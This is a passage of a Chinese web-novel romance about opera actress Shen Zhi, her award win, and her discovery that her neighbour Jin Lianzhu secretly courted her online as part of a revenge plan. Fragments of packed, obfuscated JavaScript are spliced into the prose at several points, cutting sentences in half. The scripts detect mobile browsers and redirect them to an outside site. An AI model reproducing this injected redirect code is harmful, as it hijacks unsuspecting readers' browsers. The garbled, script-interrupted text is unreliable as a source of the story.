RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419445|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连竹为徒,怎么会平白无故闹出这么多事,现在那个一穷二白的毛头小子竟然跟宋氏有那么深的渊源,说出来谁信啊。 沈青在一旁哭成了泪人,马岚只能唉声叹气跟着抹眼泪。 沈丛艺抬头看了一眼父亲书房的方向,老爷子当众被宋家的老爷子羞辱了,这时候肯定气炸了。 “哭什么哭,就知道哭,还不快想想办法。” “我能有什么办法,事情搞成这样赖我吗。”沈青大声回嘴。 “你还叫,没用,就因为这么点儿小事雪峰就要跟你分手,你平时口口声声说已经搞定他了,就是这么搞定的。” “什么叫这么点儿小事,这是小事吗。”沈枝翻了个白眼看了一眼楼上爷爷书房紧闭的房门,“爷爷干嘛要收徒弟啊,那个靳连竹肯定有问题。” “说这些还有什么用。”沈丛艺呵斥沈青,“赶紧想想办法弥补,把雪峰追回来。” 想到宋雪峰,沈青哭得更厉害了,好不容易就要搞定了,这下子不但功亏一篑还让自己丢了那么大的脸,还怎么再弥补。 沈青咬牙,两只手捏得发白,就算不能弥补我也不会让你沈枝好过。 * 晚饭后沈枝还一直惦记着祖父的那句话:姓靳的不可以。 两家是有什么渊源吗,沈枝的好奇心被勾起,打开电脑打算从网上浅查一下,哪怕有什么蛛丝马迹她都可以按图索骥。 谁知查了半天都是些她早就会背的内容,一点儿发现也没有。 看了看时间,已经快十二点了,沈枝犹豫再三还是敲开了邻居的门。 靳连竹还没有睡,一身白色的睡衣显得他很干净挺拔。 “你还好吗。”他看上去有点儿紧张,仔细打量着她的脸。 “哦,我没事,挺好,就是想问问你。”沈枝犹豫着开口,“那个,你们姓靳的跟姓沈的有什么恩怨吗。” 18. 忙碌 头顶上的暖光射灯照下来,原本就白皙的皮肤更加莹润有光泽,眸中淬星,面色凝重。 “进来说。”靳连竹闪身把沈枝让进屋内。 不知道她为什么会突然跑来问这个问题,靳连竹看了一眼对面下降的电梯,垂在身侧的手汗津津的,难道是沈新华跟她说了什么,不,不可能,如果是那样沈枝这会儿不会是这种反应。 所以,先稳住她。 屋内淡淡的茶香和轻缓的戏曲瞬间让沈枝放松了许多。 墙上的挂钟显示十二点了,沈枝拢了拢披在肩头的羊绒围巾觉得自己有些唐突了,“你别忙了,我也没什么要紧的事,太晚了,我回去了。” 她转身想走,就听靳连竹说:“我晚上熬了营养羹,刚想着要不要给你送去一碗,你就来了。” 他盛出来一碗,递给她,“尝尝看,我用古法熬的,补身。” 沈枝本没什么食欲,下意识接过来看了一眼,妈呀,云朵般的银耳,白嫩的莲子,软糯的百合,还有红彤彤的枸杞和红枣,竟然还有鹿茸和人参。 “这是不是太补了。”沈枝坐下捧着碗慢慢品尝。 “秋季正是该进补的时候。”他笑着看着她,“你尝尝看,觉得好吃吗,我放了少许□□糖。” “好吃,简直太好吃了。”沈枝脸上洋溢着欢快的笑容,“你可太会吃了。” 她喜欢吃,也喜欢爱吃会吃的人,靳连竹嘴角微微上扬。 抽出一张纸巾帮她拭去嘴角的汤汁,靳连竹温柔地看着沈枝把一整碗都吃了个精光,接过碗问:“还要吗?” 沈枝摇头,“本来这一碗都不该吃的,最近演出多,得严格控制饮食,谁叫你做得太诱人了,我没控制住自己。” 变相的夸赞让靳连竹很高兴,“你喜欢就好,演出多就更忙才更应该吃得好,明早我给你送早点去。” 他指了指营养汤,沈枝不好意思地笑了,“那,又要麻烦你了。” 靳连竹在洗碗,回头看着她笑,“欢迎来麻烦。” 沈枝已经忘记了刚才要问的事情,环视了一圈房间里,客厅的沙发上他的电脑打开着,旁边还放着几本书。 “你还没睡。”沈枝问,朝沙发走过去。 靳连竹看了一眼,加快了手上的动作,跟在她身后来到客厅,在她前面把电脑收起来再把书沓好放在茶几上。 “我看到老师来了,不放心你,所以就等了等。” 沈枝点了点头没说什么。 “你刚才问我……” “没什么,不重要了。”她说,“不早了,我回去了。” 靳连竹点头送她出门,穿过走道站在沈枝家门口,才缓缓开口,“我是在孤儿院长大的,家里人都没有见过,自然有什么恩怨也不晓得。” 她早就该想到,又提起别人的隐私沈枝有些不好意思,“是我想一出是一出,没什么要紧的。” 他也不多问。 沈枝开门,还是忍不住转身问他:“你怎么也不问问我为什么要问那样的问题。” 他愣了一下,笑了,“你自然有你的道理。” 嗳,这就是朋友之间的安全感吧。 他总是这样温和平静地在那里等着她,让沈枝觉得无论发生多么让人抓狂的事情,靳连竹总是最稳的那一个,永远保持冷静,可以瞬间卸掉她身上的戾气和疲惫,慢慢找回真实的自己。 沈枝抬头看他,好看的丹凤眼眼尾上翘,眸色幽黑深邃,永远盛着温柔的光。 “晚安。”沈枝给了他一个灿烂的笑容,回家了。 因为这个小插曲,靳连竹失眠了一夜,细数这已经不知道是第几次失眠了,这次回来后感觉一切都不一样了。 * 团里的汇报演出已经进入了细排阶段,和宋氏集团的合作也已经基本谈妥,双方还有细节要敲定沈枝负责发起文件走流程,一切都在按部就班地往前推进。 还有其他的商演和戏剧节、京剧节之类的演出,对沈枝而言都是家常便饭,团里的演出任务也多起来,有时候一天要跑三场,权当是训练了,沈枝非常享受。 这次国庆节的汇报演出沈枝倾注了巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419446|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的心血,对于剧本和台词早就刻在心里滚瓜烂熟了,但是作为第一次担纲女主角向领导和全国人民汇报演出,沈枝还是十分紧张的。 此次演出她准备了两套方案,留审查节目时备选,一套是传统戏曲,完全原汁原味地呈现,要求唱功和演绎务必尽善尽美,让世人感受到国粹的魅力。一套是新戏曲,讲究的是结合现代人的生活讲述现代人的故事,更贴近现实。 “传统的很有魅力,新式的很接地气,我是希望能够有更多的年轻人能够领略戏曲的魅力喜欢戏曲加入到这个行业当中。”沈枝说,这是她的愿望也是她一直以来努力的目标。 新戏剧的创意沈枝给予了很大的创意,结合当下流行趋势,讲述的是一个跨越时空的国粹故事,百年前的戏曲名角儿心愿未了身死,为了能够完成心愿他穿越时空寻找传承人的曲折故事,将那个时代的国粹的美带到了后世,新老结合,传统和未来的碰撞,把戏曲传承和发扬光大。 为了能够达到最佳效果,沈枝一遍遍读剧本理解人物,力求尽善尽美,为了追求舞台效果对几场感情激烈、技艺要求颇高的戏份反复琢磨。 她进入角色后对自己的要求是严苛的,每天早晨五点钟准时起床练基本功,压腿、踢腿、跑圆场、倒立、吸腿跳、虎跳、毽子、蛮子、连环蛮子,然后是甩胸腰、挺身、冒小翻、连环小翻、倒扑虎、撅腰……她十分注重基本功的练习和热身,这是从小养成的习惯,越是有大型演出,这些基础越是要认真对待。 一整套基本功下来要一个半小时,这还只是早晨,吃过早饭后再去剧团跟其他演员们一起再次热身、演练台词,带着情感一遍一遍练对手戏,走位,增加彼此间的熟悉也增进情感表达。 一般上午的时间,其他演员就是不断地练基本功,主要演员演练台词,而下午才是正式彩排。 彩排时的她更是拼命一样,严苛又认真,不放过一丝一毫的严谨,一个动作能反复几十次,连续几个小时下来始终如一,不放松一刻。 望着排练场上挥汗如雨的沈枝,靳连竹陷入沉思。 19. 纠结 剧本里有几场情感戏,其中有一场是大雨滂沱的时候,女主角不小心脚滑从楼梯上滚下来的戏,几十阶楼梯被水淋湿,路滑坡陡,挑战很大。 这场戏不但要求演员情绪饱满,还要在奔跑、滑倒以及滚落的时候身段优美有艺术感,还要求真实。 为了达到最佳效果,这场戏沈枝每天都要练好几遍,就利用其他演员休息的时间,她一个人站在舞台上,琢磨怎么抬步更优雅好看,如何滑倒逼真且情绪饱满,而后二十多级楼梯,沈枝带着情感上的伤痛,满脸泪水,一遍一遍地从上滑倒、滚落……一遍遍琢磨心得拿捏分寸,形成肌肉记忆。 然后,顾不上疼痛,休息几分钟再排其他的戏份。 每一天,沈枝都被各种意外受伤和全身淤青的疼痛包围着,疼得厉害的时候都吃不下饭。 靳连竹默默看着,陪着她练,给她指出不足之处,还带着膏药贴和外敷药,在她休息的时候交给她,盯着她去卫生间处理一下。 沈枝不以为然,“我小时候练功师父要打的,练得好要打,那是让你记住哪里好记住那种感觉。练得不好更要打,打得更重,打你是为了让你记住,这是规矩。” 所以她身上一直都有伤。 靳连竹点了点头,她说得没错,只是这个时代早就已经没有人像他们那个时代一样练功了,也只有她还这样严苛地近乎变态地要求自己。 她拼命的样子像极了当年的自己,每当这样的时候靳连竹都觉得自己在做一件丧尽天良的事情。 这一切对她不公平,那时候还没有她,而且她的为人也跟沈家的其他人都不一样,如果只是因为她姓沈就要承受那样的痛苦,那他跟那个人又有什么分别。 可是,他来就是为了报仇,为了上一世的那些屈辱和不甘。 一次次陷入这样的天人交战的矛盾和踌躇之中,靳连竹觉得自己越来越烦躁了。 沈枝的拼命劲儿感染了剧团里的其他演员,她曾好几次看到几位年轻的小演员偷偷地练早功练晚功,还相互鼓励相互监督。 “越是临近比赛,团队的气氛越是很重要的。”沈枝擦了擦浸透了衣服的汗水,“大家心无旁骛,每个人劲儿都往舞台上使,这才是正经事儿。” 她的衣服永远都是汗透的,长头发永远是湿漉漉的,练完功走路永远都是一瘸一拐的,但是脸上永远都带着笑容。 这段时间,靳连竹每天都跟她在一起,一起练功排练一起回家,一起探讨剧情分析人物,就是在她自己额外加练的时候,靳连竹也在一旁做支撑做辅助,用心地帮她设计每一个动作、眼神和唱词的细微之处,力求完美,沈枝很感谢他。 为了让水袖甩出去的角度和高度最合适,沈枝练了上千遍。还有那抛出去的欲拒还迎的眼神,干脆利落的转身、恋恋不舍地步伐,每一个动作她都要练无数遍,有时候实在困得不行了,半瞌睡状态仍旧能够走完所有的戏。 晚上靳连竹开车带她回家,路上短短二十分钟车程她都能沉沉睡去,看着她满脸的泪水和疲惫,靳连竹咬了咬牙忍住自己的情绪,把沈枝叫醒,然后回家给她做一顿营养丰富又不会肥腻的晚餐,在保持体力维持身材的前提下,尽可能让沈枝吃得可口舒服。 吃过饭只要她还不睡,就又会拉着靳连竹一起抠戏,倾听他的意见再次精细地打磨每一个动作每一个眼神每一句台词。还会把白天的录像拿出来,一个一个地分析每一位演员的表现,然后记在小本子上,第二天早会的时候提醒大家。 从拉架子、抠戏到响排、彩排,每一个环节沈枝都十分仔细认真,在她的影响下团队里的每一个人都做到了让她满意的状态,沈枝觉得自己很幸运,遇到了好同事好团队,还有好朋友的支持,每一个人都十分刻苦卖力。 彩排十分顺利,整个团队的气氛都在这一件事情上,非常专注。 直到团里接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424822|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到通知,让沈枝去参加沪市的白玉兰戏曲表演艺术奖的颁奖典礼。 沈枝想都没想,“我没时间,那天沪市有演出。” 谢团一言难尽地看着认真挑豆子吃的沈枝,命令她:“你必须去,你以为人家组委会是闹着玩的,让你去肯定是好事啊。再说你人都在沪市了,就晚上抽点时间出来去跑一趟。” 沈枝手里的筷子顿了一下,点了点头,“也好,那我演出完再去。” 谢团心疼又欣慰地摇了摇头,眼睛眯成了一条缝。 听说消息的杨小咩挂了电话就飞了过来,拉着沈枝去了附近最大的商场。 “干嘛,我没时间逛街。”沈枝揉了揉酸痛的手腕,“一会儿还要彩排呢。” “今天放假,我跟谢团说过了。”杨小咩直接拉着她进了一家国际大牌店,“来,挑战袍。” 战什么袍,沈枝掉头就走,“我又不是明星,不要。” 杨小咩点着她的脑袋,一副恨铁不成钢的样子,“你呀,榆木脑袋,我昨天在昌隆百货看见沈青了,人家正美美地试香奶奶的小裙子呢,手上还拎着好几个大牌的袋子,战衣早就准备好了。” 是哦,这种比赛沈青每年都参加的,而且常拿奖回来。 “那跟我有什么关系。”沈枝拒绝,“我那天有演出,演出完赶过去不迟到就是好的了,哪里有时间换裙子,再说,我觉得我穿着戏服的样子才是最美的。” 果然,颁奖晚会那天沈枝是带着上一场演出的全妆最后一个赶到了现场。 大家都盛装出席,沈枝找到了自己的位子悄悄坐下,抚了抚起伏的胸口,还好,没迟到。 颁奖晚会即将开始,大家都已经坐在自己的位子上,相熟的人开始聊天寒暄问好,沈枝左右环视,都脸熟。 突然身边一个熟悉的声音响起:“沈枝……” 沈青瞪大了眼睛,活像见了鬼,“你,你在这儿干吗。” 20. 提名有什么了不起 看到沈枝的那一刻,沈青觉得自己眼花了,但是那个全妆别人不认得,她这个亲姐姐是认得的。 沈青怎么也没想到沈枝会来参加白玉兰颁奖典礼,那是不是意味着沈枝获得了提名奖。 这个妹妹从小就不听话,看着柔顺文静其实心里头主意大得很,总喜欢闷不吭声瘪坏。家里的长辈们从不让她参加这种赛事,就是因为她不听话,总喜欢按照自己的意愿随意发挥,出岔子毁的可是沈家几代人的名声。 “你来这里做什么。”沈青又问了一遍。 沈枝整理了一下自己的戏服,慢条斯理说:“跟你一样啊,你来干什么我就来干什么。” 沈青冷笑,“你也配,别是借着沈家的名头混进来吧。你来这儿,爸妈知道吗。” “跟她们有什么关系。” “怎么没有关系。”沈青陡然提高了声调,又看了看周围无奈地压低声音,“我是代表爸爸的演出公司参加的,是为了爸爸的生意和沈家的曲艺事业,你呢。” 她嫌弃地打量沈枝,“只为你自己,偷偷摸摸仗着单位的便利报名参奖,你以为你报名就能获奖吗。实话跟你说,去年和大前年我都是白玉兰奖得主。” 她看上去十分得意,沈枝这才仔细打量了一下自己的姐姐,果然一身名牌裙子,精致的妆容,昂贵的首饰和包包,通身上下写满了一个字:贵。 “切。”沈枝冷笑,“那是因为我没参加。” “你……” 沈青气得手抖,这个丫头人前人后两副面孔,当着长辈乖巧懂事沉默寡言,背地里跟自己吵架从不吃亏,牙尖嘴利能气死人。 “你以为你参加了人家就会给你奖吗,就算给你个提名奖那也是安慰你,是因为你是沈家人,人家碍面子,你到底懂不懂。”沈青训斥她,“看等你回去怎么跟爸妈和爷爷交代,自作主张丢人现眼。” 越说越难听,沈枝瞪着她毫不客气,“姐姐这是应激了吗,看到我来压力这么大吗,正如姐姐所说,你实力强有经验,完全不必在乎我,何必焦虑呢,你絮絮叨叨说这些好像很不自信似的。” 说完“哼”一声不想理她,别过脸去看向相反的方向。 真晦气,怎么跟她坐一起。 一抬眸就看到了从远处走来的两个熟悉的身影。 靳连竹一身西装高大挺拔帅气逼人,不输那些走红毯的明星,他正微笑着朝她走过来,在他身后的是一身礼服的宋雪峰。 “你们怎么来了。”沈枝惊讶。 “我可是这次颁奖典礼的赞助商。”宋雪峰十分骄傲,一身燕尾服头发梳得三七开,像极了民国时期的富家少爷,“是我拉着靳先生来给你鼓劲的。” 沈枝笑笑,“好,多谢。” 靳连竹很沉默,一直安安静静地站在那里微笑着看她,眼神里淬着闪亮的光,只是他没注意到周围好几台摄像机对准了他。 看到他们这样熟络,沈青又气又恼,想跟宋雪峰说话又不好意思开口,当着这么多人的面再没说过一句话,一张脸憋得通红。 颁奖典礼开始,宋雪峰拉着靳连竹去了前面嘉宾席位就座。 这是沈枝第一次参加这样颁奖礼,音乐响起主持人登场的那一刻,她由衷地感受到了庄重和严肃。 白玉兰是行业中颇有含金量的奖项,沈枝这些年一直不停地演出,一颗心都在钻研技艺、苦练基本功和塑造角色上,她接剧本十分谨慎,不论古代还是现代,都是十分有个性有上进心的女性人物。 沈枝希望自己塑造的角色能够被大家看到,能让大家喜欢她作品喜欢戏曲。 所以,以后这样的比赛要多参加,只有多参加比赛才有露脸的机会,从前她觉得只要自己潜心戏曲就可以,从没想过博流量让自己成为偶像。 可是这一刻她改变想法了,看着舞台上热闹的演出,台下坐的都是跟她一样有理想有追求的戏曲人,沈枝觉得要做偶像,只有做了偶像才能有流量,有了流量就能被看到,就能有更多的人喜欢戏曲加入到这个行业里来。 颁奖典礼进行着,看着周围的人一个一个被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429421|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点到名字登台领奖,沈枝发自内心地替她们高兴,也十分羡慕。 “下面宣读获得此次沪市白玉兰戏曲表演艺术奖新人主角奖提名的是……”一阵紧密的锣鼓声敲响,主持人开始宣读提名名单。 沈枝一个一个听下去,还有…… “国家戏剧团,沈枝。” 被点到名字的沈枝一愣,整个人有点懵,在周围人恭喜和鼓励声中上台领奖。 一旁一直坐着的沈青脸色就像她的名字,变青了。 沈枝往台上走的时候也听到了沈青的名字,自然,她经验丰富获得提名是必然的,沈枝走到了右侧队尾站着。 站在台上,头上是聚光灯,沈枝保持着脸上的微笑,看台下的时候是看不清楚的,只觉得很热,很紧张,耳朵里的声音也是乱糟糟的,只能看到主持人笑着迎接一位又一位提名演员上台。 沈枝站到了另一边,一共十二个人,大家站成一排,接受嘉宾颁奖然后合照向台下展示。 那一刻沈枝觉得自己很幸福,多年的拼搏终于有了回报,这个回报是具象的幸福的。 从前爸妈不让她参加比赛,理由是姐姐更出色更有经验,而且姐姐是以爸爸的演出公司的名义报名,荣誉归沈家,而沈枝不受控不听话,赢得了荣誉也是属于自己属于剧团的,她与沈家没有丝毫助益,更是没法给爸爸谈合作增加筹码。 反而让一些比赛的组委会看到她沈家人的身份,会照顾给奖,影响沈家声誉。 对此,沈枝憋闷了许多年,直到今年谢团把她的名字报上去。 那一刻,沈枝不知道未来会如何,只知道她应该活出自己。 跟着大家走回座位,沈枝看到了靳连竹冲着她笑,还比了个大拇指。 他一直都鼓励她,让她多参加比赛多曝光,沈枝冲他比了个口型,谢谢。 回到座位上颁奖典礼还在继续,这会儿都是提名奖,沈枝看着自己的战利品很开心。一旁的沈青在打电话。 “喂,爸,你猜我在颁奖礼上看见了谁。” 21. 实至名归 听着沈青打电话,沈枝翻了个大大的白眼。 告状精。 “看见了您的小女儿。”沈青阴阳怪气,“枝枝现在可厉害了,背着家里报名白玉兰奖,还得了提名,爸这事您知道吗,她好像是通过她们剧团报的名。” 沈枝听不到电话那头沈丛艺到底说了什么,只能听到他好像在滋哇乱叫。 “虽说得了个提名也算不得什么,毕竟枝枝也是想进步的嘛,这是好事。”沈青阴阳怪气地冷笑,“只不过这么一来,咱们家一个获奖一个陪衬,说出去也是够丢人的,你那些合伙人要是问起来,咱们竟然还能有一个只获提名的,哎,爸爸还是好好想想怎么圆回来这个脸面吧。” 沈青的每一个字都在挑唆、拱火,那种高高在上的傲慢和任意贬损她的习惯实在让她窝火。 要不是看在这里人多,她真想给她两下子,反正从小到大沈青都打不过她。 而她的长辈们,则认定了她就是那个会给家里抹黑丢脸的人,说她是成事不足败事有余,从不给她任何表演的机会。 按理说二十多年了,从小到大也早该习惯麻木了,可是每一次摊上这样的事儿沈枝仍旧会忍不住地心里难过委屈,眼泪就止不住。 舞台上开始揭晓最终获奖者。 “爸,你们真该好好管管枝枝了,她……” “获得此次沪市白玉兰戏曲表演艺术奖新人主角奖的是……” “该把她的工作辞了,看她还有没有机会丢人现眼。” “国家戏剧团青年演员,沈枝。” 两个声音同时在耳边响起,全场爆发雷鸣般的掌声,沈枝哭了。 这一次她没有懵,很清醒,清醒地听到了姐姐让爸爸责骂她辞掉她的工作,更加清楚地听到了自己得奖了,白玉兰奖。 也听到了属于她一个人的掌声和恭喜。 再一次站到舞台上,全场的聚光灯只属于她一个人,沈枝觉得自己的所有付出都是值得的,她没有准备获奖感言,除了感谢该感谢的人以外,她只想说一句话: “做自己,坚定地走属于自己的路,把想做的事情做到底,不念过往,不负当下,不惧未来。” 主持采访说起她参加颁奖仪式的服装和妆容很有特色的时候,沈枝不好意思起来,可主持人却说这才是戏曲人该有的出场方式,兴致所起竟然请她唱一段。 沈枝没有扭捏,她是唱戏出身的也将此视作毕生的骄傲,一段经典唱段结束,台下又一次沸腾了,那一刻,沈枝被看到了。 “那个新人主角奖太赞了,长得好唱得更好。” “白玉兰奖实至名归,看到那个新人主角奖得主就知道含金量了。” “真厉害,小姑娘前途无量。” “看着她我都想让我女儿学戏曲了。” …… 这是当晚网上的弹幕,沈枝窝在酒店的沙发里看得直笑。 这些年来她一直熬着,熬到毕业熬到自己找工作考进国家戏剧团,后来又自己攒钱买了小公寓,这才有对未来憧憬的勇气。 沈家是戏曲世家,有自己独创的沈氏唱腔,可是沈枝并不喜欢,打小就不喜欢,总觉得沈氏唱腔跟过去老式的唱腔非常类似,没什么新意也没有老唱腔更有韵味。 自然这些跟祖父和父母去说她只会被骂,所以沈枝选择了自己喜欢的一切。 颁奖典礼结束,靳连竹和宋雪峰帮她庆祝了,这会儿宋雪峰赶车回京市了,说是还有一个电话会议,小伙子真是越来越拼了。 吃过饭回了宾馆,靳连竹点了外卖,是两份面。 “你晚上喝酒了,没怎么吃东西,多少吃点儿对胃好。” 他把沈枝请到他的房间里,给她泡好茶拿好她喜欢吃的点心放在手边,看着她窝在沙发里刷手机看弹幕的样子,眉眼微微弯着,因为喝了酒的缘故,面颊微微发红,脸上的表情生动又有趣,三分娇俏三分妩媚三分可爱,跟平时认真严苛训练的她判若两人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435794|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靳连竹看得入了神,想起当初在网上刚认识她的时候,那时候的沈枝就是这样纯粹阳光坚韧,浑身充满了能量,那种温柔的力量让他不由自主地想要靠近她。 虽然一开始他是带有某种不可说的目的,可是后来他就觉得自己已经不受控制了,看着计划本上排好的与她相处的步骤和时间,靳连竹才意识到自己已经渐渐脱离了轨道。 可是,那时候已经晚了。 靳连竹看了一会儿才回神,看了眼手机穿鞋准备下楼,酒店不让外卖员上楼,他要下去拿专门给沈枝点的面。 “谢谢,还是你贴心,我还真饿了。”沈枝笑着送他出门。 这是靳连竹的房间,宋雪峰走后沈枝也打算回房,可他说点了面,索性吃完了自回去。 房门开着,靳连竹的身影消失在走廊尽头。 沈枝抓回自己的手机不再看大家的弹幕,她把靳连竹帮她存下来的演出视频一个一个翻出来看,要不断复盘总结改进,沈枝为自己感到开心,也觉得压力倍增,以后要做得更好。 突然,一旁的电脑出现企鹅提示音,沈枝无意中瞥了一眼,是靳连竹的电脑,他的企鹅弹窗弹了弹,窗口跳出来,好像是有人找他。 沈枝没有看那信息打算直接关掉对话框,然而她看到了那个熟悉的“楚霸王”头像。 她对着头像发呆,片刻后不由自主地关掉对话框,那一串联系人就出现在她眼前,沈枝看到了那个被靳连竹置顶的昵称叫“戏中人”,还有那个头像,是沈枝某一次排练时同事们帮她抓拍的…… 脑子里懵懵的,沈枝机械性地想,这不是她的号吗,可是他们没有加过企鹅号呀。 实在忍不住好奇沈枝点开那个头像,看到两人的对话…… 随着聊天内容展现在眼前,那一刻,沈枝有一种五雷轰顶的感觉,气愤、委屈、憋闷、头晕目眩…… 努力控制住自己颤抖的手,沈枝拿起手机和披肩转身回了房间。 22. 陌生人 沈枝回到自己的房间,只觉得脑子里嗡嗡直响,整个人是颤抖的,手脚冰冷,一摸脸颊才发现自己早已泪流满面。 那个楚霸王的头像,实在太刺眼了,她做梦也没有想到能在靳连竹的电脑里看到那个头像。 还有被置顶的自己的头像,和那些早已被她尘封的聊天记录。 “你下班了吗,这几天天气凉,外出演出多穿些。” “我的笔记传给你,有不明白的随时留言。” “练功别太猛,马上有演出当心身体。” …… 无论是在工作生活上还是在专业技艺上,文生都曾是沈枝依恋和心理的支柱,他总是温和的,冷静的,帮她指导专业技术,关心她的衣食起居,安慰她难过受伤的心灵…… 再看到那些聊天记录的时候,沈枝有一种恍如隔世的感觉,上辈子的孽缘又回来了。 靳连竹就是文生。 这真的太可笑了。 沈枝愣愣地发笑,一遍又一遍抹去脸上的泪水,难为他伪装了这么久。 从第一次见到他邀请他加入剧团演出,到成为她的邻居,再变成爷爷的学生,还有他无处不在地出现在她的社交圈朋友圈,真可谓是无孔不入处心积虑。 这样又是为什么呢,沈枝想不明白,既然决定走了干嘛又回来,而且以这种方式回来。 是觉得没脸见她吗,大可以不见啊,用这样的方式接近她,究竟是什么目的。 沈枝很不愿意把电视剧里那些狗血的剧情套在自己身上,可是现在,凭她有限的想象力是怎么也不可能想明白这一切了。 累,真累。 她窝在沙发里看了看时间,颁奖十点多结束,大家去吃了饭再磨蹭到现在,已经过了十二点了,今晚是回不去了,沈枝拿起手机给自己定了明天一早最早一班高铁。 很好,六点出头,这样五点多就要出发了,现在收拾行李洗漱睡觉,还能再睡三四个小时。 够了,沈枝起身去卫生间用冷水洗了把脸,逼自己冷静,忘掉刚才看到的一切。 “枝枝,你在里面吗。” 门外靳连竹在敲门。 从他小心翼翼又很微弱的声音里,沈枝判断他应当是知道自己为什么回来了。 无声,不应。 只有卫生间里传出哗哗的水声。 沈枝在认真清洗自己的洗漱用品,然后用毛巾把它们擦干净。 “面,我放门口,你的胃不能饿着,多少吃一点。”声音很轻很犹豫。 沈枝依然没有回应。 隔了很久,门外没了声音,想来应该是走了。 那碗面,沈枝已经没有了想吃的欲望,干脆洗漱之后蒙头大睡。 她喜欢睡觉,尤其喜欢在烦恼和焦虑的时候睡觉,别人都是睡不着她是秒睡,或许是因为平时太累太缺乏睡眠了,沈枝这一觉睡到了快五点。 赶紧爬起来又检查了一下行李,让酒店帮忙叫了一辆出租车就出发去了高铁站。 一路上看着两边逐渐变亮的天色和美丽的风景,沈枝想起跟文生的聊天记录和过去的种种奇怪,比如他从不露脸以至于网恋一年多两个人都没有见过本人照片,只有几张他扮戏之后的照片,能看出眼睛清澈明亮,仅此而已。 再比如他极少谈及自己的私事,他们多半聊的是戏曲和彼此的专业,还有沈枝的工作生活中的烦恼。 文生似乎很喜欢听她发牢骚,静静地听着,认真帮她分析,适时地劝解她直到她又开心起来。 情绪价值给的够足。 沈枝摇了摇头,算了,说好了不去想他的,别管他是现在又以这种诡异的方式出现,还是将来会做出什么更离谱的事情来,沈枝下定决心,都不再理会。 一个人度过了安静的周末两天,周一沈枝正常起床去单位。 只不过没有了限定早餐,她从冰箱里摸了一个面包,是她最喜欢的椰蓉口味,吃了两口才想起来连这些面包好像也是他做的。 苦笑一下,沈枝一下子想通了。 这个人既然存在就不可能一下子抹去他的痕迹,他是她的邻居、同事,还是她的搭档,他们还有共同的群聊……与其躲躲藏藏还不如大大方方。 更何况,从那天晚上到现在,他好像没有任何反应,既没给她打电话发信息也没有做出任何行动和解释,有一种既然被发现了那就躺平了的感觉。 所以,无视才是最好的态度。 如往常一样,沈枝到单位的时候没有什么人,她换了衣服就直接去练功房,在那里她看到了正在练功的靳连竹。 他来这么早。 空旷的练功房里她站在最东头,距离他很远。 沈枝没说什么,连声招呼都没打,默默一个人如往常一样开始压腿热身。 “对不起。” 正当沈枝弯腰的时候,一个声音在不远处响起,她抬头看到了距离她几步开外的靳连竹。 最明显的感觉是,他眼底乌青一片,两腮凹陷,才两天感觉他瘦了好大一圈。 沈枝没有表情也没有回应,转了个身继续练功。 沉默。 “如果你想听,我愿意向你解释、道歉。”声音略带沙哑,语气带着点儿哀求。 依旧沉默。 “我当时情非……” 当靳连竹第三句话出口时,沈枝收了动作转身走出练功房,扬长而去。 望着她决绝远去的身影,靳连竹皱了皱眉头,心里有一种被人重重打了一拳的感觉,闷闷地发紧发疼。 他知道会有这么一天,藏不了多久她终究会知道,可是看到她伤心生气的样子,靳连竹的心还是觉得很痛。是他的错,不该把她牵扯进来,不该想要拿她当刀子用来对付沈家报仇,不该利用一个对戏曲如此热爱心思单纯的女孩。 最不该的是,他现在竟然产生了为了她放弃报仇的念头。 